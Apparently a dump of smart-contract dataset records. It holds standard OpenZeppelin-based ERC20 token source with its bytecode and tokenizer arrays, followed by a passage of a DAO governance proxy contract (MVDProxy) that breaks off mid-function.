// SPDX-License-Identifier: MIT pragma solidity ^0.5.5; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; contract CybershinuToken is ERC20, ERC20Detailed { constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20Detailed(name, symbol, 18) public { _mint(msg.sender, initialSupply); } } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b610243610687565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610751565b6040518082815260200191505060405180910390f35b610325610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610908565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610926565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a6105936109ad565b84846109b5565b6001905092915050565b6000600254905090565b60006105bb848484610bac565b61067c846105c76109ad565b6106778560405180606001604052806028815260200161101660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e629092919063ffffffff16565b6109b5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107476106ab6109ad565b8461074285600160006106bc6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2290919063ffffffff16565b6109b5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b60006108fe6108486109ad565b846108f98560405180606001604052806025815260200161108760259139600160006108726109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e629092919063ffffffff16565b6109b5565b6001905092915050565b600061091c6109156109ad565b8484610bac565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110636024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fce6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061103e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fab6023913960400191505060405180910390fd5b610d2381604051806060016040528060268152602001610ff0602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e629092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610db6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ed4578082015181840152602081019050610eb9565b50505050905090810190601f168015610f015780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158205e25195fef94d368f723f9eafc663c8edca8d45fe03a0403971d16686916cfed64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 17465, 28756, 20958, 2546, 2487, 3540, 21084, 2063, 2575, 2475, 7011, 16147, 21926, 18827, 2620, 2497, 2692, 2620, 19841, 2692, 26187, 27531, 15136, 22025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1019, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 3207, 14162, 2098, 1012, 14017, 1000, 1025, 3206, 16941, 17426, 16161, 7520, 2003, 9413, 2278, 11387, 1010, 9413, 2278, 11387, 3207, 14162, 2098, 1063, 9570, 2953, 1006, 5164, 3638, 2171, 1010, 5164, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,658
0x97216a19c2fe095ebb9570435a13a73e06e7fd3b
pragma solidity ^0.6.0; import "./IMVDProxy.sol"; import "./IMVDFunctionalityProposalManager.sol"; import "./IMVDFunctionalityProposal.sol"; import "./IERC20.sol"; import "./IMVDFunctionalityModelsManager.sol"; import "./ICommonUtilities.sol"; import "./IMVDFunctionalitiesManager.sol"; import "./IMVDWallet.sol"; import "./IERC721.sol"; contract MVDProxy is IMVDProxy { address[] private _delegates; constructor(address votingTokenAddress, address functionalityProposalManagerAddress, address stateHolderAddress, address functionalityModelsManagerAddress, address functionalitiesManagerAddress, address walletAddress, address doubleProxyAddress) public { if(votingTokenAddress == address(0)) { return; } init(votingTokenAddress, functionalityProposalManagerAddress, stateHolderAddress, functionalityModelsManagerAddress, functionalitiesManagerAddress, walletAddress, doubleProxyAddress); } function init(address votingTokenAddress, address functionalityProposalManagerAddress, address stateHolderAddress, address functionalityModelsManagerAddress, address functionalitiesManagerAddress, address walletAddress, address doubleProxyAddress) public override { require(_delegates.length == 0, "Init already called!"); _delegates = new address[](7); IMVDProxyDelegate(_delegates[0] = votingTokenAddress).setProxy(); IMVDProxyDelegate(_delegates[1] = functionalityProposalManagerAddress).setProxy(); IMVDProxyDelegate(_delegates[2] = stateHolderAddress).setProxy(); _delegates[3] = functionalityModelsManagerAddress; IMVDProxyDelegate(_delegates[4] = functionalitiesManagerAddress).setProxy(); IMVDProxyDelegate(_delegates[5] = walletAddress).setProxy(); IMVDProxyDelegate(_delegates[6] = doubleProxyAddress).setProxy(); } receive() external payable { revert("No Eth Accepted"); } function getDelegates() public override view returns(address[] memory) { return _delegates; } function getToken() public override view returns(address) { return _delegates[0]; } function getMVDFunctionalityProposalManagerAddress() public override view returns(address) { return _delegates[1]; } function getStateHolderAddress() public override view returns(address) { return _delegates[2]; } function getMVDFunctionalityModelsManagerAddress() public override view returns(address) { return _delegates[3]; } function getMVDFunctionalitiesManagerAddress() public override view returns(address) { return _delegates[4]; } function getMVDWalletAddress() public override view returns(address) { return _delegates[5]; } function getDoubleProxyAddress() public override view returns(address) { return _delegates[6]; } function flushToWallet(address tokenAddress, bool is721, uint256 tokenId) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Unauthorized action!"); if(tokenAddress == address(0)) { payable(_delegates[5]).transfer(payable(address(this)).balance); return; } if(is721) { IERC721(tokenAddress).transferFrom(address(this), _delegates[5], tokenId); return; } IERC20 token = IERC20(tokenAddress); token.transfer(_delegates[5], token.balanceOf(address(this))); } function setDelegate(uint256 position, address newAddress) public override returns(address oldAddress) { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Unauthorized action!"); require(newAddress != address(0), "Cannot set void address!"); if(position == 5) { IMVDWallet(_delegates[5]).setNewWallet(payable(newAddress), _delegates[0]); } oldAddress = _delegates[position]; _delegates[position] = newAddress; if(position != 3) { IMVDProxyDelegate(oldAddress).setProxy(); IMVDProxyDelegate(newAddress).setProxy(); } emit DelegateChanged(position, oldAddress, newAddress); } function changeProxy(address newAddress, bytes memory initPayload) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Unauthorized action!"); require(newAddress != address(0), "Cannot set void address!"); for(uint256 i = 0; i < _delegates.length; i++) { if(i != 3) { IMVDProxyDelegate(_delegates[i]).setProxy(); } } _delegates = new address[](0); emit ProxyChanged(newAddress); (bool response,) = newAddress.call(initPayload); require(response, "New Proxy initPayload failed!"); } function isValidProposal(address proposal) public override view returns (bool) { return IMVDFunctionalityProposalManager(_delegates[1]).isValidProposal(proposal); } function isAuthorizedFunctionality(address functionality) public override view returns(bool) { return IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(functionality); } function newProposal(string memory codeName, bool emergency, address sourceLocation, uint256 sourceLocationId, address location, bool submitable, string memory methodSignature, string memory returnAbiParametersArray, bool isInternal, bool needsSender, string memory replaces) public override returns(address proposalAddress) { emergencyBehavior(emergency); IMVDFunctionalityModelsManager(_delegates[3]).checkWellKnownFunctionalities(codeName, submitable, methodSignature, returnAbiParametersArray, isInternal, needsSender, replaces); IMVDFunctionalitiesManager functionalitiesManager = IMVDFunctionalitiesManager(_delegates[4]); IMVDFunctionalityProposal proposal = IMVDFunctionalityProposal(proposalAddress = IMVDFunctionalityProposalManager(_delegates[1]).newProposal(codeName, location, methodSignature, returnAbiParametersArray, replaces)); proposal.setCollateralData(emergency, sourceLocation, sourceLocationId, submitable, isInternal, needsSender, msg.sender, functionalitiesManager.hasFunctionality("getVotesHardCap") ? toUint256(read("getVotesHardCap", "")) : 0); if(functionalitiesManager.hasFunctionality("onNewProposal")) { submit("onNewProposal", abi.encode(proposalAddress)); } if(!IMVDFunctionalitiesManager(_delegates[4]).hasFunctionality("startProposal") || !IMVDFunctionalitiesManager(_delegates[4]).hasFunctionality("disableProposal")) { proposal.start(); } emit Proposal(proposalAddress); } function emergencyBehavior(bool emergency) private { if(!emergency) { return; } (address loc, , string memory meth,,) = IMVDFunctionalitiesManager(_delegates[4]).getFunctionalityData("getEmergencySurveyStaking"); (, bytes memory payload) = loc.staticcall(abi.encodeWithSignature(meth)); uint256 staking = toUint256(payload); if(staking > 0) { IERC20(_delegates[0]).transferFrom(msg.sender, address(this), staking); } } function startProposal(address proposalAddress) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Unauthorized action!"); (address location,,,,) = IMVDFunctionalitiesManager(_delegates[4]).getFunctionalityData("startProposal"); require(location == msg.sender, "Only startProposal Functionality can enable a delayed proposal"); require(IMVDFunctionalityProposalManager(_delegates[1]).isValidProposal(proposalAddress), "Invalid Proposal Address!"); IMVDFunctionalityProposal(proposalAddress).start(); } function disableProposal(address proposalAddress) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Unauthorized action!"); (address location,,,,) = IMVDFunctionalitiesManager(_delegates[4]).getFunctionalityData("disableProposal"); require(location == msg.sender, "Only disableProposal Functionality can disable a delayed proposal"); IMVDFunctionalityProposal(proposalAddress).disable(); } function transfer(address receiver, uint256 value, address token) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Only functionalities can transfer Proxy balances!"); IMVDWallet(_delegates[5]).transfer(receiver, value, token); } function transfer721(address receiver, uint256 tokenId, bytes memory data, bool safe, address token) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Only functionalities can transfer Proxy balances!"); IMVDWallet(_delegates[5]).transfer(receiver, tokenId, data, safe, token); } function setProposal() public override { IMVDFunctionalityProposalManager(_delegates[1]).checkProposal(msg.sender); emit ProposalCheck(msg.sender); IMVDFunctionalitiesManager functionalitiesManager = IMVDFunctionalitiesManager(_delegates[4]); (address addressToCall,,string memory methodSignature,,) = functionalitiesManager.getFunctionalityData("checkSurveyResult"); (bool surveyResult, bytes memory response) = addressToCall.staticcall(abi.encodeWithSignature(methodSignature, msg.sender)); surveyResult = toUint256(response) > 0; bool collateralCallResult = true; (addressToCall,,methodSignature,,) = functionalitiesManager.getFunctionalityData("proposalEnd"); if(addressToCall != address(0)) { functionalitiesManager.setCallingContext(addressToCall); (collateralCallResult,) = addressToCall.call(abi.encodeWithSignature(methodSignature, msg.sender, surveyResult)); functionalitiesManager.clearCallingContext(); } IMVDFunctionalityProposal proposal = IMVDFunctionalityProposal(msg.sender); uint256 staking = 0; address tokenAddress = _delegates[0]; address walletAddress = _delegates[5]; if(proposal.isEmergency()) { (addressToCall,,methodSignature,,) = functionalitiesManager.getFunctionalityData("getEmergencySurveyStaking"); (, response) = addressToCall.staticcall(abi.encodeWithSignature(methodSignature)); staking = toUint256(response); } if(!surveyResult) { if(collateralCallResult) { proposal.set(); emit ProposalSet(msg.sender, surveyResult); if(staking > 0) { IERC20(tokenAddress).transfer(walletAddress, staking); } } return; } if(collateralCallResult) { try functionalitiesManager.setupFunctionality(msg.sender) returns(bool managerResult) { collateralCallResult = managerResult; } catch { collateralCallResult = false; } } if(collateralCallResult) { proposal.set(); emit ProposalSet(msg.sender, surveyResult); if(staking > 0) { 